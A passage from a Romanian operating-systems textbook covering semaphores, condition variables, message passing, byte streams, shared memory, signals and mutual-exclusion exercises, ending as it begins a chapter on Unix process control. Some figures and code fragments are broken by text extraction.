sincronizare s-a extins şi mai mult, incluzând şi forma de sincronizare cu timpul absolut sau cel real 

(înţelegând prin aceasta că un anumit task este lansat în execuţie în fiecare zi la o oră fixă sau ciclic, 

de exemplu, din oră în oră). 

Din cele spuse mai sus, rezultă că sincronizarea trebuie să permită activarea şi respectiv, 

inhibarea desfăşurării unor programe (task-uri) atât prin cereri iniţiate de alte task-uri cât şi prin 

comenzi ale utilizatorilor, introduse de la terminale. Inhibarea execuţiei trebuie să fie posibilă prin 

cererea programului însuşi, urmând ca reactivarea să fie făcută de un alt program (task) sau 

eveniment extern programului. Momentele de timp în care se iniţiază aceste acţiuni sunt momentele 

de sincronizare efectivă. Rezultă că sunt necesare funcţii referitoare la “evenimente”, în sensul 

general al cuvântului, şi anume “aşteptarea” până la producerea evenimentului specificat şi 

“anunţarea” faptului că acesta s-a produs. Eventuale alte funcţii mai complexe se referă la 

aşteptarea primului eveniment dintr-o mulţime precizată de evenimente, aşteptarea şi tratarea 

selectivă a mai multor evenimente într-o ordine eventual diferită de cea a apariţiei lor, terminării 

condiţionate etc. 

Metodele şi mecanismele folosite pentru realizarea sincronizării programelor sau task-urilor 

concurente se deosebesc sub mai multe aspecte: 

- natura sincronizării: sincronizare între programe sau task-uri sau sincronizare cu timpul; 

- momentul sincronizării: cu începutul unui program, cu sfârşitul unui program sau cu un 

“punct” (moment) oarecare din interiorul programului; 

- implementarea sincronizării: prin facilităţi specifice ale limbajelor de programare (şi ale 

compilatoarelor asociate), ale limbajului de comandă sau prin facilităţi (servicii) asigurate 

de un monitor. 

Principalele tehnici şi metode de implementare a sincronizării dintre task-uri concurente 

sunt prin: 


2.5.1 Semafoare generale 

Un semafor general este o variabilă întreagă, ce poate lua doar valori pozitive şi singurele 

operaţii ce se pot efectua asupra lui sunt operaţiile primitive P şi V. 

Dacă semaforul are valoarea zero, un program (task) ce încearcă să efectueze o operaţie P 

asupra acestuia va fi suspendat (blocat) şi va aştepta până când un alt program va efectua asupra 

aceluiaşi semafor o operaţie V. Deosebirea esenţială între semafoarele generale şi cele binare constă 

în faptul că în cazul celor generale, mai multe programe (task-uri) pot efectua operaţia P asupra 

unui asemenea semafor, după care să continue execuţia acestor programe. 

Pentru a ilustra modul de utilizare a semafoarelor generale, să considerăm situaţia în care 

mai multe programe sau task-uri denumite “producătoare”, doresc să comunice o serie de date altor 

programe sau task-uri concurente, denumite şi “consumatoare” sau receptoare. Aceasta se poate 

realiza, de exemplu, folosind o zonă de memorie tampon, de capacitate evident limitată, în care 

producătorii vor depune datele lor şi din care consumatorii le vor extrage când acestea devin 

35


disponibile. Aceste programe trebuiesc evident sincronizate, astfel încât producătorii să nu depună 

date noi în zona tampon când aceasta este plină, iar consumatorii să nu extragă date din zona 

tampon când aceasta este goală. 

Acest exemplu reprezintă o ilustrare a procesului de interpătrundere a mecanismelor de 

sincronizare cu cele de comunicare inter-programe (inter-proces) concurente. Sincronizarea 

necesară între programe se poate realiza în acest caz folosind semafoare generale care să reflecte 

condiţiile posibile de aşteptare (condiţia de “tampon plin” respectiv “tampon gol”). Dacă se 

foloseşte, de exemplu, un semafor general “Plin” pentru a reprezenta numărul de locaţii încărcate 

(pline) ale zonei tampon, atunci un consumator va trebui întârziat dacă Plin = 0. Dacă un task 

producător va efectua o operaţie V asupra semaforului “Plin”, după ce a plasat o informaţie în zona 

tampon, un task-consumator va fi “servit” în urma efectuării unei operaţii P (va avea acces la 

tampon şi va putea “consuma” informaţia anterior introdusă). În mod similar, un al doilea semafor 

general “Gol”, poate fi folosit pentru a întârzia după necesităţi task-urile producător. 

Un task-consumator va trebui însă să semnalizeze momentul în care un task-producător 

poate să-şi continue acţiunea şi vice-versa. 

Pentru a evita suprascrierile sau săririle peste anumite date din zona tampon, aceste operaţii 

trebuiesc efectuate prin excludere reciprocă. În acest scop, după cum s-a văzut, se poate introduce şi 

un semafor binar. 

În general, dacă un task doreşte să aştepte până ce se realizează o anumită condiţie, acestei 

condiţii de aşteptare i se asociază un semafor şi orice task ce ar putea provoca realizarea condiţiei 

trebuie să aibă responsabilitatea efectuării unei operaţii V asupra acestui semafor. Din această 

cauză, programatorul va trebui să introducă în fiecare task instrucţiuni de sincronizare cu celelalte 

task-uri, ceea ce presupune o atenţie specială de lucru cu semafoarele generale. 

Dacă mai multe task-uri consumator aşteaptă, ele vor trebui planificate într-un mod neutru 

sau după unele criterii de prioritate ale task-urilor consumator. 


2.5.2 Regiuni critice condiţionale 

Este o structură de programare de forma : 

with R when B do S 

unde B este o expresie booleană iar S este o secţiune critică ce operează asupra variabilei comune R. 

Această construcţie specifică faptul că secţiunea critică de program S trebuie executată doar 

dacă condiţia B este respectată. 

2.5.3 Variabile de condiţie 

Variabila de condiţie este un tip de dată ce poate fi utilizată doar în cadrul unui monitor. El 

este folosit în situaţiile în care un task doreşte să-şi întârzie propria execuţie sau pentru a reactiva 

un task pus anterior în aşteptare. Variabilele de condiţie sunt folosite pentru a identifica şirul de 

task-uri în aşteptare ce sunt manipulate prin operaţiile “aşteptare” şi “semnalare”. Operaţia 

“aşteptare” dezactivează task-ul şi îl trece într-un şir de aşteptare asociat variabilei de condiţie 

respective, anulând excluderea reciprocă care ar fi interzis ca un alt task să obţină serviciile 

monitorului. 

Operaţia “semnalare” va produce reactivarea primului task din şirul de aşteptare, asociat 

variabilei de condiţie respective. Task-ul care efectuează o operaţie “semnalare” şi provoacă 

36


reactivarea unui alt task (trecut anterior în aşteptare) va fi, la rândul său, suspendat până în 

momentul în care task-ul activat va ieşi din monitor sau va executa o operaţie “aşteptare”. 

Prin detalierea specifică a condiţiilor în care task-urile pot trece în aşteptare şi, respectiv, pot 

fi reactivate se poate realiza mai simplu şi mai explicit planificarea task-urilor decât în cazul 

regiunilor critice condiţionale (unde erau nevoie evaluări repetate ale condiţiilor) şi fiecare şir de 

aşteptare asociat variabilei de condiţie este tratat după strategia “primul - venit, primul - servit” de 

fiecare dată când se execută o operaţie “semnalare” asupra variabilei de condiţie respective. 


2.5.4. Sincronizare prin comunicare 

În contextul unui sistem de operare cu programe concurente, comunicarea şi sincronizarea 

sunt în realitate doar faţete ale aceluiaşi fenomen: programele comunică între ele nu numai pentru 

a-şi comunica informaţii sub formă de mesaje ci şi pentru a se sincroniza. De fapt, un semnal de 

sincronizare poate fi considerat şi el că este un mesaj fără conţinut ce se transmite între programe. 

Acest efect poate fi obţinut în diferite moduri: 

a) Procese secvenţiale comunicante. Rendez-vous simetric 

Acest model de intercomunicare presupune că dacă un task A emiţător doreşte să transmită 

date unui alt task B receptor, atunci cele două task-uri trebuie să-şi indice reciproc această dorinţă 

de a comunica prin emiterea unei comenzi de emisie şi respectiv de recepţie. Dacă se întâmplă ca 

task-ul A să întâlnească primul, în timpul execuţiei, o comandă de emitere mesaj, atunci el va fi 

suspendat până când task-ul B va întâlni în timpul execuţiei sale o comandă de recepţie mesaj. În 

mod similar şi simetric, dacă task-ul B va întâlni primul o comandă de recepţie mesaj, atunci el va fi 

suspendat până ce task-ul A va întâlni o comandă de emitere mesaj. În momentul în care ambele 

task-uri s-au sincronizat, datele (mesajul) sunt transferate imediat, după care fiecare dintre task-uri 

îşi va relua execuţia pe cont propriu, în paralel. Această metodă de sincronizare poartă denumirea 

de rendez-vous simetric (procese tratate în mod egal). 

b) Procese distribuite. Rendez-vous asimetric 

Comunicarea şi sincronizarea între programele concurente se realizează în acest caz similar 

cu apelarea prin nume de către programul emiţător a unei proceduri incluse în programul receptor, 

lista cu parametri asociaţi acestui apel fiind folosită ca un “canal” de comunicare pentru 

transmiterea de date între cele două programe. În acest caz, spre deosebire de cazul anterior, doar 

programul apelat trebuie să cunoască numele programului apelat, nu şi invers. Pentru a putea 

provoca sincronizarea prin rendez-vous a celor două programe, în programul apelat vor trebui 

inserate “comenzi de acceptare”, care vor avea forma unor proceduri de intrare apelabile de către 

programele apelante (task-ul apelat este suspendat în aceste puncte de program). Tipul de rendezvous 

este unul asimetric. Aceste forme de rendez-vous nu sunt suficient de adecvate pentru 

programarea aplicaţiilor reale. Sincronizarea mult prea strânsă a task-urilor împiedică orice operare 

asincronă a programelor şi astfel inhibă avantajele potenţiale ale unui paralelism dezvoltat. Acest 

neajuns se poate elimina prin introducerea posibilităţii de selectare ne-deterministă a comenzilor de 

acceptare. Este vorba despre un mecanism pe baza căruia un program receptor poate evita 

executarea unei comenzi de acceptare şi să fie suspendat. După necesităţi, se pot introduce condiţii 

suplimentare de execuţie a comenzii de selectare. 

37


2.6 Mecanisme de control asincron sau parţial sincron 

Mecanismele prezentate în secţiunile precedente au un caracter sincron. Asta înseamnă că de 

fiecare dată, procesele supuse controlului sunt active şi efectele schimbării contextului de către un 

proces sunt receptate în acelaşi timp de procesul sau procesele interesate în recepţia acestei 

schimbări. 

In multe situaţii nu este neapărat necesar ca recepţia efectului schimbării de context să fie 

făcută instantaneu. Este suficient ca procesul generator al schimbării să anunţe această schimbare 

depunând o informaţie adecvată într-un anume loc: căsuţă poştală, canal specializat etc. Procesul 

sau procesele care trebuie să reacţioneze la această schimbare au obligaţia ca în momentul pornirii 

lor, să consulte căsuţa poştală sau canalul respectiv. Dacă este prezentă informaţia de schimbare a 

contextului, atunci procesul consultant îşi decide evoluţia ulterioară în funcţie de conţinutul acestei 

informaţii. Despre astfel de mecanisme spunem că au un caracter asincron. 

După cum vom constata, există şi mecanisme mixte, care au atât caracter sincron, cât şi caracter 

asincron. 

2.6.1 Schimburi de mesaje 

Mecanismele de tip schimb de mesaje au apărut cam în acelaşi timp cu semafoarele. Ele 

sunt azi utilizate pe scară largă pentru comunicarea prin poştă electronică (e-mail). Aceasta este 

folosită în principal pentru comunicarea între persoane, dar este destul de mult folosită şi pentru 

comunicarea între procese. Există servere în Internet care transmit automat e-mailuri către 

utilizatori, după cum utilizatorii se pot adresa direct unor servere prin e-mailuri care respectă 

anumite structuri standard. 

Sisteme de operare precum Unix, dar nu numai, îşi definesc propriile standarde de mesaje, specifice 

comunicării numai între procese. Coada de mesaje este un astfel de exemplu, asupra căruia vom 

reveni pe larg în capitolele următoare. 

Din punct de vedere structural, un mesaj apare ca în figura 2.12. 

Destinaţie Sursă Tip mesaj Conţinut mesaj 

Figura 2.12 Structura unui mesaj 

Destinaţie şi Sursă sunt adrese reprezentate în conformitate cu convenţiile de adresare ale 

implementării mecanismului de mesaje. Tip mesaj dă o caracterizare, în concordanţă cu aceleaşi 

convenţii, asupra naturii mesajului respectiv. Aceste trei câmpuri, eventual completate şi cu altele 

în funcţie de specific, formează antetul mesajului. Ultimul câmp conţine mesajul propriu-zis. 

Dacă sistemul de mesaje se adresează factorului uman, atunci informaţiile sunt reprezentate sub 

formă de text ASCII, iar conţinutul nu trebuie să aibă o structură rigidă. Dacă sistemul de mesaje se 

adresează proceselor, atunci câmpurile lui au structuri standardizate, evetual chiar conţinut binar. 

Indiferent de natura corespondenţilor, scenariul comunicării prin mesaje este acelaşi: 

• Emiţătorul mesajului compune mesajul şi îl expediază spre destinatar sau destinatari, după 

caz. In situaţia în care corespondenţii se află pe acelaşi sistem de calcul, expedierea 

înseamnă depunerea lui într-o zonă specială numită canal sau coadă de mesaje. 

• Sistemul care conţine un destinatar recepţionează mesajul. Recepţia se face numai atunci 

când sistemul devine operaţional. Pe perioada dintre expediere şi recepţie mesajul este 


38


păstrat temporar prin intermediul unui sistem de zone tampon. 

• Atunci când procesul (utilizatorul) destinatar devine activ, sistemul îl anunţă de primirea 

mesajului respectiv. De asemenea, fiecare proces activ controlează din când în când căsuţa 

poştală sau canalul spre a sesiza apariţia de noi mesaje. 

• Atunci când procesul consideră de cuviinţă, îşi citeşte mesajul primit. In funcţie de 

conţinutul lui, procesul îşi poate modifica execuţia ulterioară. 

Din scenariul de mai sus reiese clar caracterul asincron al acestui mecanism. Frecvenţa de 

consultare a canalului de mesaje depinde de specificul aplicaţiei. De regulă, după ce un mesaj a fost 

consultat de către procesul receptor el este eliminat din canalul de mesaje. 

Ordinea de extragere a mesajelor din coadă depinde de asemenea de specificul sistemului de 

mesaje. Ordinea cea mai folosită este FIFO – primul venit primul servit. Ea poate fi aplicată fie 

asupra întregii cozi, fie asupra mesajelor de un anumit tip, fie asupra mesajelor care îndeplinesc o 

anumită condiţie. Există sisteme de mesaje în care procesul însuşi decide care mesaj îl extrage mai 

întâi din coadă, deci extragerea poate fi aleatorie. 

In funcţie de numărul destinatarilor unui mesaj, se disting: 

• Mesaje unicast, cu un destinatar unic: corespondenţă punct la punct. 

• Mesaje multicast, în care există un grup de destinatari. Ei se stabilesc fie prin specificarea 

tuturor destinatarilor, fie există o listă predefinită de destinatari la care va fi trimis mesajul. 

• Mesaje broadcast, în care mesajul este trimis automat tuturor destinatarilor care fac parte 

dintr-o anumită categorie: utilizatorii dintr-o reţea LAN sau WAN, angajaţii unui 

compartiment sau companii, proceselor care utilizează o anumită resursă etc. 

Schimbul de mesaje este folosit pe scară largă mai ales în sistemele distribuite, deci programarea 

distribuită operează mai des cu acest mecanism. Există totuşi şi aplicaţii ce se derulează concurent 

pe acelaşi sistem şi care comunică între ele prin mesaje specializate. 

2.6.2 Fluxuri de octeţi 

Un flux de octeţi este un canal unidirecţional de date, de dimensiune limitată, asupra căruia 

acţionează două categorii de procese: scriitori şi cititori. Disciplina de acces la flux este FIFO, iar 

octeţii în care se scrie, respectiv care sunt citiţi, avansează în manieră circulară în buffer. 

Pentru a înţelege mai exact această abordare, să presupunem că avem de-a face cu un buffer de n 

octeţi, numerotaţi de la 0 la n-1. Pentru manevrarea eficientă a fluxului, este necesară întreţinerea 

permanentă a trei parametri: 

• s poziţia curentă în care se poate scrie la următorul acces; 

• c poziţia curentă de unde se poate citi la următorul acces; 

• p un boolean cu valoarea true dacă poziţia de citire din buffer se află înaintea poziţiei de 

citire, sau valoarea false dacă în urma unei citiri sau scrieri s-a depăşit ultimul loc din 

buffer şi s-a continuat de la începutul lui. 

In figurile 2.13, 2.14, 2.15 şi 2.16 sunt prezentate diverse ipostaze ale bufferului, condiţiile ce 

trebuie îndeplinite de cei trei parametri şi modificările acestora în urma unei operaţii. Porţiunea 

haşurată indică zona octeţilor încă disponibili în buffer. 

Figura 2.13 prezintă bufferul gol fără nici un octet disponibil. Dacă fluxul este gol – nu conţine nici 


39


un octet pentru citit - atunci procesele cititori aşteaptă până când un proces scriitor depune cel puţin 

un octet în flux. 


0 c s n-1 

--> 

--> 

0 c 

s n-1 

o 

0 c n-1 

s --> 

=n p=false 

si => 

(s+o)mod n


Figura 2.16 prezintă condiţiile necesare pentru a se putea citi următorii o octeţi. Primele două 

situaţii provoacă doar avansarea indicelui c cu o, în timp ce citirea în ultima situaţie îl modifică atât 

pe c cât şi pe p. 


 

 

 

 

--> 

0 c o 

s n-1 

0 c o n-1 

s --> 

 

0 c o n-1 

s --> 

Figura 2.16 Situaţii de citire din buffer 


Presupunem că fluxul are capacitatea de 7 octeţi. 

Proces 

Doreşte 

să scrie 

l octeţi 


Octeţi 

nescrişi 

Conţinut 

flux 

A 9 a8a9 a1a2a3a4a5a6a7 

B 5 wait 

C 6 wait 

b1b2b3b4b5 

c1c2c3c4c5c6 

A 2 - a8a9 

B 5 - a8a9b1b2b3b4b5 

C 6 c4c5c6 b3b4b5c1c2c3 

C 3 wait 

C 3 - c4c5c6 

Octeţi 

Citiţi 

Proces 

doreşte 

să citească 

l octeţi 

A1a2a3a4a5a6a7 E 13 

D 4 wait 

b3b4b5 A8a9b1b2 D 4 

B3b4b5c1c2c3 E 6 

Lăsăm pe seama cititorului să simuleze accesele de mai sus la flux în diverse variante, în care nu 

toţi corespondenţii îşi verifică numărul de octeţi schimbaţi cu fluxul, ci consideră că fiecare operaţie 

îi transferă exact atâţia octeţi câţi a dorit să schimbe. De exemplu, în aceste condiţii procesul A nu 

ar mai fi executat o a doua scriere de 2 octeţi şi ar fi rămas cu ei nescrişi. 

Acesta este mecanismul de comunicare prin flux de octeţi. De regulă, prin intermediul lui se 

transmit la un moment dat puţini octeţi în comparaţie cu dimensiunea fluxului. De asemenea, 

frecvenţele citirilor şi ale scrierilor sunt relativ apropiate. Din aceaste cauze, evoluţia "relativ 

nefirească" exemplificată mai sus apare rar. 

2.6.3 Memorie partajată 

Conceptul de memorie partajată reprezintă o modalitate utilă de a separa fluxul de control al 

execuţiei unei aplicaţii de comunicarea datelor dintre entităţile implicate. Aceste entităţi sunt de 

obicei procese, care se execută pe acelaşi sistem (uniprocesor sau multiprocesor) sau pe sisteme 

diferite. 

In continuare ne vom ocupa numai de situaţia în care procesele se află pe acelaşi sistem. In acest 

caz, segmentul de memorie partajată face parte din spaţiul global de memorie a sistemului. Mai 

multe procese colaborează prin intermediul acestui spaţiu de memorie comun, în care sunt 

memorate o serie de variabile accesibile tuturor proceselor implicate. Unele dintre procese scriu 

date în acest spaţiu comun, iar altele citesc aceste date. Unul dintre principiile programării pe orice 

platformă este acela că “fiecare proces îşi accesează în mod exclusiv propriul spaţiu de memorie 

(internă)”. In contextul concurenţei se impune uneori un schimb rapid de informaţii. Memoria 

partajată răspunde pe deplin acestui scop. In figura 2.17 este ilustrat accesul a două procese la un 

segment de memorie partajată. 

42



Proces A 

Cheie 

Figura 2.17 Accesul la un segment de memorie partajată 

Principiul comunicării prin memorie partajată constă în: 

1. Un proces crează un segment de memorie partajată. Descriptorul zonei este trecut în 

structura de date ataşată zonei. 

2. Procesul creator asociază segmentului de zonă partajată o cheie numerică pe care toate 

procesele care accesează zona trebuie să o cunoască. 

3. Procesul creator asociază zonei drepturile de acces. 

4. Orice proces care doreşte să acceseze segmentul de memorie partajată, inclusiv creatorul, 

trebuie să şi-o ataşeze la spaţiul lui virtual de adrese. In urma acestei ataşări obţine adresa zonei 

de memorie partajată. 

Astfel comunicarea între procese se realizează direct. Uneori este necesară protecţia datelor din 

segment pentru a se evita rezultate inconsistente. Pentru aceasta, se pot folosi mecanismele de 

sincronizare cunoscute: semafoare, monitoare etc. 

Mecanismul de memorie partajată poate fi privit în acelaşi timp atât unul sincron, cât şi unul 

asincron, în funcţie de specificul aplicaţiei. 

2.6.4 Evenimente, excepţii, semnale 

Segment de memorie partajatã 

Proces B 

Execuţia unui proces, atât în context secvenţial cât şi în context concurent, poate fi "perturbată" de 

intervenţii externe independente de el şi la momente de timp imprevizibile. Indiferent de natura 

perturbării, procesul este anunţat de aceasta folosindu-se sistemul de întreruperi existent pe 

platforma pe care se execută procesul. Unele dintre aceste perturbări au cauze intrinseci, 

dependente de funcţionarea echipamentelor hard, altele apar datorită faptului că în interacţiunea 

proceselor cu mediul înconjurător au apărut situaţii deosebite. In context concurent, o parte dintre 

perturbările din a doua categorie sunt folosite în acţiuni de sincronizare şi coordonare a proceselor. 

Din această cauză considerăm utilă o scurtă prezentare a lor. 

In funcţie de "sursele" acestor perturbări se poate face o clasificare, chiar aproximativă, a acestora. 

43


Deşi terminologia nu este unitară, clasificarea următoare este relativ acceptabilă: 

• eveniment - generat de o interfaţă grafică sau de un ceas. 

• excepţie - programul solicită resurse interne (variabile, operaţii) sau externe (fişiere, 

periferice) inexistente. 

• eroare - din raţiuni hardware procesul trebuie oprit. 

• semnal - procesul primeşte un anunţ din partea altui proces. 

Să le luăm pe rând. Termenul de eveniment este utilizat mai ales în legătură cu funcţionarea 

interfeţelor grafice utilizator (GUI – Graphics User Interface). Sunt binecunoscute interfeţele 

grafice oferite de platformele Microsoft Windows sau cele de tip X-window operaţionale în 

principal pe platforme din familia Unix. Platformele Java oferă şi ele posibilitatea de a defini şi 

utiliza astfel de interfeţe grafice. 

Utilizatorul unui GUI provoacă un eveniment atunci când acţionează din exterior asupra lui prin 

intermediul tastaturii, a mouse-ului, track-ballului sau a altor periferice specifice. Efectul unei astfel 

de acţiuni conduce fie la modificarea conţinutului informaţiei unuia dintre obiectele grafice de pe 

monitor, fie la redimensionarea unei ferestre, închiderea unei aplicaţii prin distrugerea ferestrei ei 

principale, etc. 

Aceste evenimente sunt prelucrate, de către sistemul de programe aferent, într-o manieră asincronă. 

Conceptul principal în jurul căruia gravitează tratarea evenimentelor este coada de evenimente. 

Prelucrarea acestei cozi se face prin intermediul buclei de evenimente. O astfel de buclă funcţionează 

conform descrierii de mai jos: 

while (TRUE) { 

Extrage următorul eveniment din coadă 

sau aşteaptă până când apare un eveniment 

switch (eveniment) 

case eveniment de tip 1: 

tratează evenimentul de tip 1 

- - - - - - - - - - - 

case eveniment de tip n: 

tratează evenimentul de tip n 

}// switch 

}//while 

Sursa evenimentului pune în coadă o înregistrare specifică evenimentului respectiv. Tratarea 

evenimentului se face mai târziu, atunci când el este scos din coadă. De regulă se extrage numai 

câte un eveniment odată. Dacă însă evenimentul aşteaptă un răspuns de la sistem, atunci se goleşte 

întreaga coadă. Aceasta înseamnă că dacă în coadă sunt câteva evenimente şi apare un altul care 

aşteaptă răspuns de la sistem, atunci este procesată mai întâi toată coada după care se aşteaptă 

răspunsul. 

O categorie aparte de evenimente sunt cele legate de scurgerea unui interval de timp. 

Programele pot cere sistemului să fie "puse în adormire" şi să fie trezite după un interval de timp 

sau la apariţia unui anume eveniment. 

Prin excepţie se înţelege o situaţie deosebită generată de cauze interne ale funcţionării programului: 

tentativă de deschidere a unui fişier care nu există, tentativa de utilizare a unui indice de tablou a 

cărui valoare este înafara limitelor fixate, tentativă de împărţire la zero, etc. 

In majoritatea situaţiilor, execuţia programului este suspendată la apariţia unei excepţii şi se 

aşteaptă ca programul sau sistemul de operare să rezolve situaţia. De regulă, dacă se lasă rezolvarea 

pe seama sistemului, soluţia acestuia este terminarea anormală a programului. 


44


Atunci când excepţia este tratată de către programul însuşi, proiectantul trebuie să prevadă o soluţie 

de rezolvare specifică pentru fiecare excepţie în parte. 

Eroare se consideră o situaţie în care, din raţiuni hardware procesul nu-şi mai poate continua 

activitatea. De exemplu, atunci când codul unui proces este corupt şi oferă spre execuţie instrucţiuni 

care nu există, sau atunci când se solicită o adresă de memorie inexistentă, se semnalează o eroare. 

Tratarea unei erori este întotdeauna o operaţie sincronă. cu execuţia programului. 

Semnalul poate fi asociat cu emiterea unei întreruperi adresate unui proces. De regulă, procesul care 

primeşte un semnal nu ştie sursa acestuia, în schimb primeşte semnalul în manieră sincronă, imediat 

ce el a fost emis. Procesul poate să-şi modifice funcţionarea imediat ce a primit semnalul, poate să 

ignore semnalul primit sau poate să amâne prelucrarea acestuia. 

Sistemele de calcul / de operare mai vechi au folosit ca suport pentru semnale chiar sistemul de 

întreruperi. Sistemul de operare Unix oferă un mecanism simplu şi elegant de utilizare a semnalelor 

cu instrumente pur software. 

Exerciţii 

1. În §2.4.4. au fost abordate o serie de tehnici ce permit realizarea excluderii reciproce a două sau 

mai multe task-uri concurente. Astfel, o primă metodă propusă prevede folosirea unei variabile 

comune specială în vederea controlului accesului la secţiunile critice proprii ale taskurilor 

concurente. Considerând două astfel de procese, ele pot fi scrise, principial, în felul următor: 

Task 1. 

#define DESCHIS 1 

#define INCHIS 0 

int poarta=DESCHIS; // variabila comună ce indică secţiuni critice libere la 

… // început 

while(poarta); // aşteaptă “deschiderea” porţii 

poarta=INCHIS; // blochează accesul şi trece la execuţia secţiunii critice 

{ 

… 

// secţiunea critica 1 

… 

} 

poarta=DESCHIS;//deblocheazã accesul (permite executarea altor secţiuni critice) 

Task 2. 

… 

while(poarta); // aşteaptă “deschiderea” porţii 

poarta=INCHIS; // blochează accesul şi trece la execuţia secţiunii critice 

{ 

… 

// secţiunea critica 2 

… 

} 

poarta=DESCHIS; //deblocheazã accesul 


45


a) cele două task-uri sunt lansate în execuţie simultană. Ele rulează, evident, în mod asincron unul 

faţă de celălalt. Indicaţi scenariile posibile ale executării secţiunilor critice mai sus indicate. 

Identificaţi posibile situaţii de interblocare ale celor două procese. 

b) conform exemplului de mai sus, daţi pseudocodul a două procese concurente ce folosesc o 

variabilă comună, denumit “comutator”, d dirijare a accesului la secţiunile lor critice (a doua 

metodă de excludere reciprocă prin programare, prezentată în §2.4.4.). 

2. Introducând, în codul fiecărui task, câte o variabilă de stare locală ce poate avea valorile “extern” 

sau “intern”, implementaţi cea de a treia metodă de excludere reciprocă prin programare, descrisă în 

§2.4.4. (Obs. variabilele de stare locale sunt inspectabile de către procesul concurent fără însă a 

avea acces la alterarea valorii lor, cu alte cuvinte, numai taskul proprietar poate asigna o altă 

valoare acestor variabile). 

Indicaţi situaţiile posibile în care se ajunge la blocarea reciprocă a taskurilor. 

3. Completaţi codul obţinut la problema anterioară cu instrucţiuni de verificare a stării taskului 

concurent înainte de trecerea efectivă la modificarea valorii variabilei locale proprii (se va 

implementa astfel metoda nr. 4 prezentată în §2.4.4.). 

Este posibilă o blocare reciprocă în acest caz ? Dacă da, în ce condiţii ? 

4. Combinând metoda cu variabila globală “comutator” cu cea de la problema anterioară să se 

implementeze metoda nr. 5 de excludere reciprocă, propusă în §2.4.4. 

5. Să presupunem că există o funcţie, denumită interschimbare, cu definiţia: 

void inerschimbare(int local, int excludere) 

{ 

int temp; 

temp=local; 

local=excludere; 

excludere=temp; 

} 

ce se execută în mod indivizibil (neîntreruptibil). Această funcţie permite copierea valorii unei 

variabile, transmisă prin argumentul excludere, în cea a variabilei local şi invers. Argumentul 

excludere poate fi o variabilă comună ce controlează accesul la secţiunile critice ale unor taskuri 

concurente. Rezolvaţi problema excluderii reciproce a două taskuri concurente (similar celei din 

problema nr. 2) în ipoteza utilizării acestei funcţii. 

6. Un semafor binar poate fi implementat sub forma unei variabile de tip întreg ce poate lua doar 

valori de 0 sau 1. Procedurile P şi V ce acţionează asupra unor asemenea semafoare pot fi schiţate 

după cum urmează: 

int P(int semafor) 

{ 

if semafor>0 

semafor=semafor-1; 

else 

- procesul este blocat, si introdus intr-un sir de asteptare 

return(semafor); 

} 


46


int V(int semafor) 

{ 

semafor=semafor+1; 

if (sir de asteptare nu este vid) 

{ 

semafor=semafor-1; 

- extrage urmatorul task din sirul de asteptare; 

- planificã pentru executie taskul extras; 

//deblocheazã un proces suspendat printr-o operatie P 

} 

return(semafor); 

} 

Indicaţi codul unui task ce face apel la un astfel de semafor binar (şi procedurile aferente) pentru 

implementarea excluderii reciproce. 

7. Un semafor general poate fi implementat folosind două semafoare binare (cu procedurile P şi V 

aferente - vezi problema anterioară) şi o variabilă contor de tip întreg. Astfel se poate scrie: 

int comutator, intarziere; 

int n; 

comutator=1, intarziere=0; // cele două semafoare binare 

n= valoare_semafor_general ; // o variabilă de tip contor 

Operaţiile P şi V ale unui semafor general pot fi definite, în termenii celor aferenţi semafoarelor 

binare, în modul următor: 

P(n) 

{ 

} 

V(n) 

{ 

} 


P(comutator); 

n=n-1; 

if n



Capitolul 3. Procese Unix. Sincronizarea în SO Unix 

3.1. Controlul proceselor sub SO Unix 

Orice sistem de calcul modern este capabil să execute mai multe programe în acelaşi timp. 

Cu toate acestea, în cele mai multe cazuri, unitatea centrala de prelucrare (CPU) nu poate executa la 

un moment dat decât un singur program. De aceea, sarcina de a rula mai multe programe în acelaşi 

timp revine sistemului de operare, care trebuie să introducă un model prin intermediul căruia 

execuţia programelor, privită din perspectiva utilizatorului, să se desfăşoare în paralel. Se 

realizează, de fapt, un pseudoparalelism, prin care procesorul este alocat pe rând programelor care 

trebuie rulate, câte o cuanta de timp pentru fiecare, astfel încât din exterior ele par ca rulează efectiv 

în acelaşi timp. 

Cel mai răspândit model care introduce paralelismul în execuţia programelor este modelul 

bazat pe procese (task-uri). Acest model este cel adoptat de sistemul de operare Unix şi va face 

obiectul acestui paragraf. Controlul proceselor este un element important în programarea pe sisteme 

multitasking (şi multiutilizator). Ea include operaţii de creare de procese, terminare şi sincronizare. 

Sistemul Unix este şi un sistem multiutilizator acest lucru fiind un aspect important în dezvoltarea 

aplicaţiilor multiutilizator. Controlul proceselor este realizat prin câteva apeluri sistem, care nu sunt 

altceva decât funcţii, înglobate în nucleu, accesibile utilizatorului. Utilizarea corectă a apelurilor 

este esenţială în controlul corect al proceselor Unix. 

Prin proces înţelegem un program în execuţie (sau a unei serii de programe), împreună cu 

zona sa de date, stiva şi numărătorul de instrucţiuni (PC- program counter). Trebuie făcuta încă de 

la început distincţia dintre proces si program. Un program este, în fond, un şir de instrucţiuni care 

trebuie executate de către calculator, în vreme ce un proces este o abstractizare a programului, 

specifică sistemelor de operare. Se poate spune că un proces execută un program şi că sistemul de 

operare lucrează cu procese, iar nu cu programe. Procesul include în plus faţă de program 

informaţiile de stare legate de execuţia programului respectiv (stiva, valorile regiştrilor CPU etc.). 

De asemenea, este important de subliniat faptul că un program (ca aplicaţie software) poate fi 

format din mai multe procese care să ruleze sau nu în paralel. 

Cele mai importante informaţii de stare ale unui proces se găsesc înscrise în zona denumită 

context a lui. Contextul este divizat în două: o parte utilizator şi o parte nucleu. Accesul la 

informaţiile din context se face prin apeluri sistem specifice. 

Printre informaţiile care fac parte din context amintim: 

• PID reprezintă identificatorul procesului, fiind un întreg cuprins între 0 şi 32767. 

• PPID reprezintă pid-ul procesului părinte, 

• UID reprezintă identificatorul utilizatorului care a lansat procesul. El este folosit la 

autentificarea utilizatorului şi la comunicarea între utilizatori. Din fişierul /etc/passwd se 

poate obţine corespondenţa între UID şi numele de utilizator. 

• GID reprezintă identificatorul grupului la care aparţine utilizatorul. Din fişierul /etc/group se 

poate stabili o corespondenţă între GID şi numele grupului. 

• EUID reprezintă identificatorul efectiv al utilizatorului, folosit pentru determinarea 

drepturilor de acces la fişierele procesului. De obicei acesta coincide cu UID, dar este 

posibil ca unul dintre procesele strămoşi să pretindă să rămână el UID real al procesului. 

• EGID reprezintă identificatorul efectiv de grup, relaţia lui cu GID fiind analoagă cu cea 

dintre EUID şi UID. 

• Directorul curent este un alt element care face parte din context. 

• Tabela descriptor de fişiere conţine datele relative la toate stream-urile (fişiere, socketuri, 

